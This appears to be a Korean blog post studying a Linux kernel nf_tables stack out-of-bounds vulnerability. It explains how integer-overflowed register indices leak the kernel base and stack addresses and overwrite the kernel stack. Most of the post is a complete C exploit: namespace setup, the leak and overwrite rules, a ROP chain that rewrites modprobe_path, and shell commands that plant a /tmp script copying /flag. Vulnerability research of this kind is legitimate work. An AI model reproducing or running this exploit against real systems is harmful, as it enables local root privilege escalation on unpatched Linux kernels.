rop_chain[chain_count] = kernel_base + 0xe0015d; chain_count++; // <__do_softirq+349>
rop_chain[chain_count] = 0x0; chain_count++;
rop_chain[chain_count] = 0x0; chain_count++;
rop_chain[chain_count] = 0x0; chain_count++;
rop_chain[chain_count] = 0x4001000000000000; chain_count++;
for(int i=0;i<6;i++){
rop_chain[chain_count] = 0x0; chain_count++;
}
rop_chain[chain_count] = kernel_base + 0x1b44; chain_count++; // pop rsi; ret;
rop_chain[chain_count] = kernel_base + 0x144dac0; chain_count++; // &modprobe
rop_chain[chain_count] = kernel_base + 0x27c91; chain_count++; // pop rax; ret;
rop_chain[chain_count] = 0x646f6d2f706d742f; chain_count++; // b'/tmp/mod'
rop_chain[chain_count] = kernel_base + 0x4dc3e; chain_count++; // mov qword ptr [rsi], rax ; ret
rop_chain[chain_count] = kernel_base + 0x68d; chain_count++; // pop rbp; ret;
rop_chain[chain_count] = kernel_stack + 0x1c7ba8; chain_count++; // sfp
for(int i=0;i<10;i++){
rop_chain[chain_count] = kernel_base + 0x485b69; chain_count++; // ret dummy
}
rop_chain[chain_count] = kernel_base + 0x1b44; chain_count++; // pop rsi; ret;
rop_chain[chain_count] = kernel_base + 0x144dac0; chain_count++; // &modprobe
rop_chain[chain_count] = kernel_base + 0x27c91; chain_count++; // pop rax; ret;
rop_chain[chain_count] = 0x646f6d2f706d742f; chain_count++; // b'/tmp/mod'
rop_chain[chain_count] = kernel_base + 0x4dc3e; chain_count++; // mov qword ptr [rsi], rax ; ret
ROP chain을 구성하는 부분이다.
여기서는 해당 Tistory에서 다뤘던 Exploit 방법인 csu_init()을 사용한 것이 아닌 modprobe_path를 조작하는 것으로 다루고 있다.
먼저 Memory Leak이 수행되는 과정부터 디버깅해보겠다.
add_set_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0xfffffffc,0x20,0x30);
nft_registers의 데이터를 패킷의 데이터에 덮어써서 loopback 하기 위한 부분이다. 이것을 Debugging 하기 위해서는 nft_payload_set_eval->skb_store_bits->memcpy에 bp를 걸고 살펴봐야 한다.
memcpy를 통해 nft_registers를 'aaaaa'가 포함된 영역에 덮어쓰고 있다. 해당 영역은 실제로 송수신에 사용되는 패킷의 데이터 영역이다. 0xfffffffc 레지스터가 담긴 표현식을 사용하여 nft_register를 벗어난 스택 영역의 값에 접근이 가능해진다.
- memory leak할 데이터가 있는 부분
- 해당 부분을 현재 nft_register로 인식하고 있는 상태
- 해당 데이터를 그대로 패킷의 데이터로 memcpy()를 수행
먼저 메모리를 살펴보면 nft_register+0x????? 영역에 사용하기 좋은 데이터가 많은 것을 볼 수 있다. 이후 memcpy()를 실행하게 되면 해당 값이 패킷 영역에 그대로 들어간 것을 볼 수 있다. 이 데이터를 loopback 설정으로 인해 수신 받아 base를 구할 수 있는 것이다.
이후 ROP chain이 보내지는 것을 살펴보겠다.
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0xffffffc8,0x8,0xf0);
실행 흐름을 조작하는 ROP Chain이 nft_register + 0x????에 들어가는 것을 살펴보겠다.
breakpoint 설정은 nft_payload_eval->skb_copy_bits->memcpy()에 해주면 된다.
인자값을 보면 rsi가 가리키는 위치에 0xdedbeef12341234가 들어있는 것을 볼 수 있다.
이는 ROP chain에 해당되는 부분인 것을 PoC 코드를 통해 알 수 있다.
Kernel에서 수신한 패킷의 데이터를 살펴보면 ROP Chain의 코드가 들어있는 것을 볼 수 있다.
체크된 부분이 Kerel Stack의 ret에 해당되는 부분으로 패킷의 데이터가 성공적으로 Kernel Stack에 덮어지는 것을 확인할 수 있다.
간단하게 정리를 해보자면
매우 큰 값을 가진 레지스터를 인자로 전송하여 Stack Out Of Bounds 취약점을 Trigger 한다.
이때 임의의 주소 (nft_registers+0x????)에 있는 값을 패킷의 데이터로 덮어쓰게 되는 경우 Memory leak
반대로 패킷의 데이터를 임의의 주소 (nft_registers+0x????)에 덮어쓰는 경우 Overwrite
취약점이 발생하게 된다.
바로 취약점을 사용할 수 있으면 물론 좋지만
코드 내부에서는 무결성 검증을 위한 코드들이 존재한다.
무결성 및 크기에 대한 검증을 통과하면서 nft_registers를 벗어난 영역에 데이터를 쓰기 위해서는
Intager Overflow를 발생시켜 검증할 떄 사용되는 값을 조작해야 한다.
때문에 매우 큰 값인 0xfffffffc, 0xffffffc8 을 입력한 것이다.
전체 페이로드는 아래와 같다.(접은 글)
#define _GNU_SOURCE
#include <stdio.h>
#include <sched.h>
#include <unistd.h>
#include <stdarg.h>
#include <linux/sched.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <netinet/in.h>
#include <stddef.h> /* for offsetof */
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <errno.h>
#include <pthread.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <libmnl/libmnl.h>
#include <libnftnl/table.h>
#include <libnftnl/chain.h>
#include <libnftnl/rule.h>
#include <libnftnl/expr.h>
char pkt_message[512] = {0, };
char pkt_buffer[512] = {0, };
int pkt_port = 0;
void hexdump(const void* data, size_t size) {
unsigned char *p = (unsigned char*)data;
for (size_t i = 0; i < size; i++) {
printf("%02X ", p[i]);
if ((i + 1) % 16 == 0 || i == size - 1) {
printf("\n");
}
}
}
void *sender_thread(void *arg) {
int client_socket;
struct sockaddr_in server_addr;
// Create a UDP socket
if ((client_socket = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(1);
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(pkt_port);
server_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
// Send the UDP packet
sendto(client_socket, pkt_message, 512, 0, (struct sockaddr *)&server_addr, sizeof(server_addr));
close(client_socket);
return NULL;
}
void *receiver_thread(void *arg) {
int server_socket;
struct sockaddr_in server_addr, client_addr;
// Create a UDP socket
if ((server_socket = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {
perror("socket");
exit(1);
}
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(pkt_port);
server_addr.sin_addr.s_addr = INADDR_ANY;
// Bind the socket to the server address
if (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) {
perror("bind");
exit(1);
}
socklen_t client_addr_len = sizeof(client_addr);
// Receive the UDP packet
recvfrom(server_socket, pkt_buffer, 512, 0, (struct sockaddr *)&client_addr, &client_addr_len);
close(server_socket);
return NULL;
}
void write_to_file(const char *which, const char *format, ...) {
FILE * fu = fopen(which, "w");
va_list args;
va_start(args, format);
if (vfprintf(fu, format, args) < 0) {
perror("cannot write");
exit(1);
}
fclose(fu);
}
void init_cpu(void){
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
perror("[-] sched_setaffinity");
exit(EXIT_FAILURE);
}
}
void init_namespace(void) {
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER) < 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) < 0) {
perror("[-] unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
write_to_file("/proc/self/uid_map", "0 %d 1", uid);
write_to_file("/proc/self/setgroups", "deny");
write_to_file("/proc/self/gid_map", "0 %d 1", gid);
}
void begin_batch(struct mnl_nlmsg_batch *b, int *seq)
{
nftnl_batch_begin(mnl_nlmsg_batch_current(b), (*seq)++);
mnl_nlmsg_batch_next(b);
}
void end_batch(struct mnl_nlmsg_batch *b, int *seq)
{
nftnl_batch_end(mnl_nlmsg_batch_current(b), (*seq)++);
mnl_nlmsg_batch_next(b);
}
void add_table(struct mnl_nlmsg_batch *b, int *seq, const char* table_name)
{
struct nftnl_table *t;
t = nftnl_table_alloc();
nftnl_table_set_u32(t, NFTNL_TABLE_FAMILY, NFPROTO_IPV4);
nftnl_table_set_str(t, NFTNL_TABLE_NAME, table_name);
struct nlmsghdr *nlh;
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(b),
NFT_MSG_NEWTABLE, NFPROTO_IPV4,
NLM_F_CREATE | NLM_F_ACK, (*seq)++);
nftnl_table_nlmsg_build_payload(nlh, t);
nftnl_table_free(t);
mnl_nlmsg_batch_next(b);
}
void add_chain(struct mnl_nlmsg_batch *b, int *seq, const char* table_name, const char* chain_name)
{
struct nftnl_chain *t;
t = nftnl_chain_alloc();
nftnl_chain_set_str(t, NFTNL_CHAIN_TABLE, table_name);
nftnl_chain_set_str(t, NFTNL_CHAIN_NAME, chain_name);
nftnl_chain_set_u32(t, NFTNL_CHAIN_HOOKNUM, NF_INET_LOCAL_IN);
nftnl_chain_set_u32(t, NFTNL_CHAIN_PRIO, 0);
struct nlmsghdr *nlh;
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(b),
NFT_MSG_NEWCHAIN, NFPROTO_IPV4,
NLM_F_CREATE | NLM_F_ACK, (*seq)++);
nftnl_chain_nlmsg_build_payload(nlh, t);
nftnl_chain_free(t);
mnl_nlmsg_batch_next(b);
}
static void add_payload(struct nftnl_rule *r, uint32_t base, uint32_t dreg,
uint32_t offset, uint32_t len)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("payload");
if (e == NULL) {
perror("expr payload oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_DREG, dreg);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);
nftnl_rule_add_expr(r, e);
}
static void add_set_payload(struct nftnl_rule *r, uint32_t base, uint32_t sreg,
uint32_t offset, uint32_t len)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("payload");
if (e == NULL) {
perror("expr payload oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_BASE, base);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_SREG, sreg);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_OFFSET, offset);
nftnl_expr_set_u32(e, NFTNL_EXPR_PAYLOAD_LEN, len);
nftnl_rule_add_expr(r, e);
}
static void add_cmp(struct nftnl_rule *r, uint32_t sreg, uint32_t op,
const void *data, uint32_t data_len)
{
struct nftnl_expr *e;
e = nftnl_expr_alloc("cmp");
if (e == NULL) {
perror("expr cmp oom");
exit(EXIT_FAILURE);
}
nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_SREG, sreg);
nftnl_expr_set_u32(e, NFTNL_EXPR_CMP_OP, op);
nftnl_expr_set(e, NFTNL_EXPR_CMP_DATA, data, data_len);
nftnl_rule_add_expr(r, e);
}
void add_rule_leak(struct mnl_nlmsg_batch *b, int *seq, const char* table_name, const char* chain_name)
{
struct nftnl_rule *r = NULL;
uint8_t proto;
uint16_t dport;
uint64_t handle_num;
r = nftnl_rule_alloc();
if (r == NULL) {
perror("OOM");
exit(EXIT_FAILURE);
}
nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table_name);
nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain_name);
nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, NFPROTO_IPV4);
proto = IPPROTO_UDP;
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
offsetof(struct iphdr, protocol), sizeof(uint8_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));
dport = htons(1234);
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
offsetof(struct tcphdr, dest), sizeof(uint16_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));
add_set_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0xfffffffc,0x20,0x30);
struct nlmsghdr *nlh;
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(b),
NFT_MSG_NEWRULE,
nftnl_rule_get_u32(r, NFTNL_RULE_FAMILY),
NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
(*seq)++);
nftnl_rule_nlmsg_build_payload(nlh, r);
nftnl_rule_free(r);
mnl_nlmsg_batch_next(b);
}
void add_rule_exploit(struct mnl_nlmsg_batch *b, int *seq, const char* table_name, const char* chain_name)
{
struct nftnl_rule *r = NULL;
uint8_t proto;
uint16_t dport;
uint64_t handle_num;
r = nftnl_rule_alloc();
if (r == NULL) {
perror("OOM");
exit(EXIT_FAILURE);
}
nftnl_rule_set_str(r, NFTNL_RULE_TABLE, table_name);
nftnl_rule_set_str(r, NFTNL_RULE_CHAIN, chain_name);
nftnl_rule_set_u32(r, NFTNL_RULE_FAMILY, NFPROTO_IPV4);
proto = IPPROTO_UDP;
add_payload(r, NFT_PAYLOAD_NETWORK_HEADER, NFT_REG_1,
offsetof(struct iphdr, protocol), sizeof(uint8_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &proto, sizeof(uint8_t));
dport = htons(8080);
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, NFT_REG_1,
offsetof(struct tcphdr, dest), sizeof(uint16_t));
add_cmp(r, NFT_REG_1, NFT_CMP_EQ, &dport, sizeof(uint16_t));
add_payload(r, NFT_PAYLOAD_TRANSPORT_HEADER, 0xffffffc8,0x8,0xf0);
struct nlmsghdr *nlh;
nlh = nftnl_nlmsg_build_hdr(mnl_nlmsg_batch_current(b),
NFT_MSG_NEWRULE,
nftnl_rule_get_u32(r, NFTNL_RULE_FAMILY),
NLM_F_APPEND | NLM_F_CREATE | NLM_F_ACK,
(*seq)++);
nftnl_rule_nlmsg_build_payload(nlh, r);
nftnl_rule_free(r);
mnl_nlmsg_batch_next(b);
}
int main(int argc, char *argv[])
{
printf("[+] exploit process starting\n");
init_cpu();
init_namespace();
struct mnl_socket *nl;
char buf[MNL_SOCKET_BUFFER_SIZE];
uint32_t portid, seq;
struct nftnl_table *t;
struct mnl_nlmsg_batch *batch;
int ret, n;
int check = 0;
seq = 100;
batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
// HERE
begin_batch(batch, &seq);
add_table(batch, &seq, "exploit_table");
check++;
add_chain(batch, &seq, "exploit_table", "leak_chain");
check++;
add_rule_leak(batch, &seq, "exploit_table", "leak_chain");
check++;
add_chain(batch, &seq, "exploit_table", "exploit_chain");
check++;
add_rule_exploit(batch, &seq, "exploit_table", "exploit_chain");
check++;
end_batch(batch, &seq);
//
nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL)
{
perror("mnl_socket_open");
exit(EXIT_FAILURE);
}
if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0)
{
perror("mnl_socket_bind");
exit(EXIT_FAILURE);
}
portid = mnl_socket_get_portid(nl);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch),
mnl_nlmsg_batch_size(batch)) < 0)
{
perror("mnl_socket_send");
exit(EXIT_FAILURE);
}
mnl_nlmsg_batch_stop(batch);
n = mnl_socket_recvfrom(nl, buf, sizeof(buf));
while (n > 0)
{
const struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
int len = n;
while (mnl_nlmsg_ok(nlh, len))
{
struct nlmsgerr *res;
res = mnl_nlmsg_get_payload(nlh);
printf("[+] netlink result %d: %d\n", nlh->nlmsg_seq, res->error);
nlh = mnl_nlmsg_next(nlh, &len);
check--;
}
if(check == 0) break;
n = mnl_socket_recvfrom(nl, buf, sizeof(buf));
}
mnl_socket_close(nl);
printf("[+] create nft_tables to leak\n");
system("ip addr add 127.0.0.1/8 dev lo");
system("ip link set lo up");
pthread_t leak_sender, leak_receiver;
printf("[+] leak_sender -> leak_receiver (udp)\n");
pkt_port = 1234;
memset(pkt_message, 'a', 512);
pthread_create(&leak_sender, NULL, sender_thread, NULL);
pthread_create(&leak_receiver, NULL, receiver_thread, NULL);
pthread_join(leak_sender, NULL);
pthread_join(leak_receiver, NULL);
unsigned long leak = 0;
memcpy((char*)&leak,pkt_buffer+0x40,8);
unsigned long kernel_stack = leak - 0x1bfb48;
memcpy((char*)&leak,pkt_buffer+0x38,8);
unsigned long kernel_base = leak - 0x6744e;
hexdump(pkt_buffer, 48);
printf("[+] kernel_base = 0x%lx\n", kernel_base);
printf("[+] kernel_stack = 0x%lx\n", kernel_stack);
unsigned long rop_chain[30];
int chain_count = 0;
rop_chain[chain_count] = 0xdeadbeef12341234; chain_count++;
rop_chain[chain_count] = kernel_base + 0xe02052; chain_count++; // cli; ret;
rop_chain[chain_count] = kernel_base + 0xe0015d; chain_count++; // <__do_softirq+349>
rop_chain[chain_count] = 0x0; chain_count++;
rop_chain[chain_count] = 0x0; chain_count++;
rop_chain[chain_count] = 0x0; chain_count++;
rop_chain[chain_count] = 0x4001000000000000; chain_count++;
for(int i=0;i<6;i++){
rop_chain[chain_count] = 0x0; chain_count++;
}
rop_chain[chain_count] = kernel_base + 0x1b44; chain_count++; // pop rsi; ret;
rop_chain[chain_count] = kernel_base + 0x144dac0; chain_count++; // &modprobe
rop_chain[chain_count] = kernel_base + 0x27c91; chain_count++; // pop rax; ret;
rop_chain[chain_count] = 0x646f6d2f706d742f; chain_count++; // b'/tmp/mod'
rop_chain[chain_count] = kernel_base + 0x4dc3e; chain_count++; // mov qword ptr [rsi], rax ; ret
rop_chain[chain_count] = kernel_base + 0x68d; chain_count++; // pop rbp; ret;
rop_chain[chain_count] = kernel_stack + 0x1c7ba8; chain_count++; // sfp
for(int i=0;i<10;i++){
rop_chain[chain_count] = kernel_base + 0x485b69; chain_count++; // ret dummy
}
printf("[+] create /tmp/moddprobe & /tmp/pwn\n");
system("echo -e '#!/bin/sh\ncp /flag /tmp/flag\nchmod a+r /tmp/flag' > /tmp/moddprobe");
system("chmod +x /tmp/moddprobe");
system("echo -e '\xde\xad\xbe\xef' > /tmp/pwn");
system("chmod +x /tmp/pwn");
pthread_t exploit_sender, exploit_receiver;
pkt_port = 8080;
memset(pkt_buffer, '\0', 512);
memset(pkt_message, 'a', 512);
memcpy(pkt_message, (char*)rop_chain, 0xf0);
printf("[+] exploit_sender -> exploit_receiver (udp)\n");
pthread_create(&exploit_sender, NULL, sender_thread, NULL);
pthread_create(&exploit_receiver, NULL, receiver_thread, NULL);
pthread_join(exploit_sender, NULL);
pthread_join(exploit_receiver, NULL);
return EXIT_SUCCESS;
}
여기서는 modprobe_path 조작을 통해 권한 상승 공격을 수행했기에 한번 cred 구조체를 사용하여 권한 상승하는 코드를 직접 짜보고자 한다. (내가 내 무덤을 파는 꼴이긴 하지만..)
'STUDY > CVE && Fuzzing' 카테고리의 다른 글
[CVE] nf_tables (CVE-2022-32250) (0) | 2024.11.26 |
---|---|
[CVE] nf_tables (CVE-2022-1016) (0) | 2024.11.21 |
[CVE] sshd (CVE-2024-6387) - 비공개 (0) | 2024.10.10 |
[CVE] liblzma.so (CVE-2024-3094) (6) | 2024.10.10 |
[Fuzzing 101] LibXML2 (CVE-2017-9048) (1) | 2024.06.03 |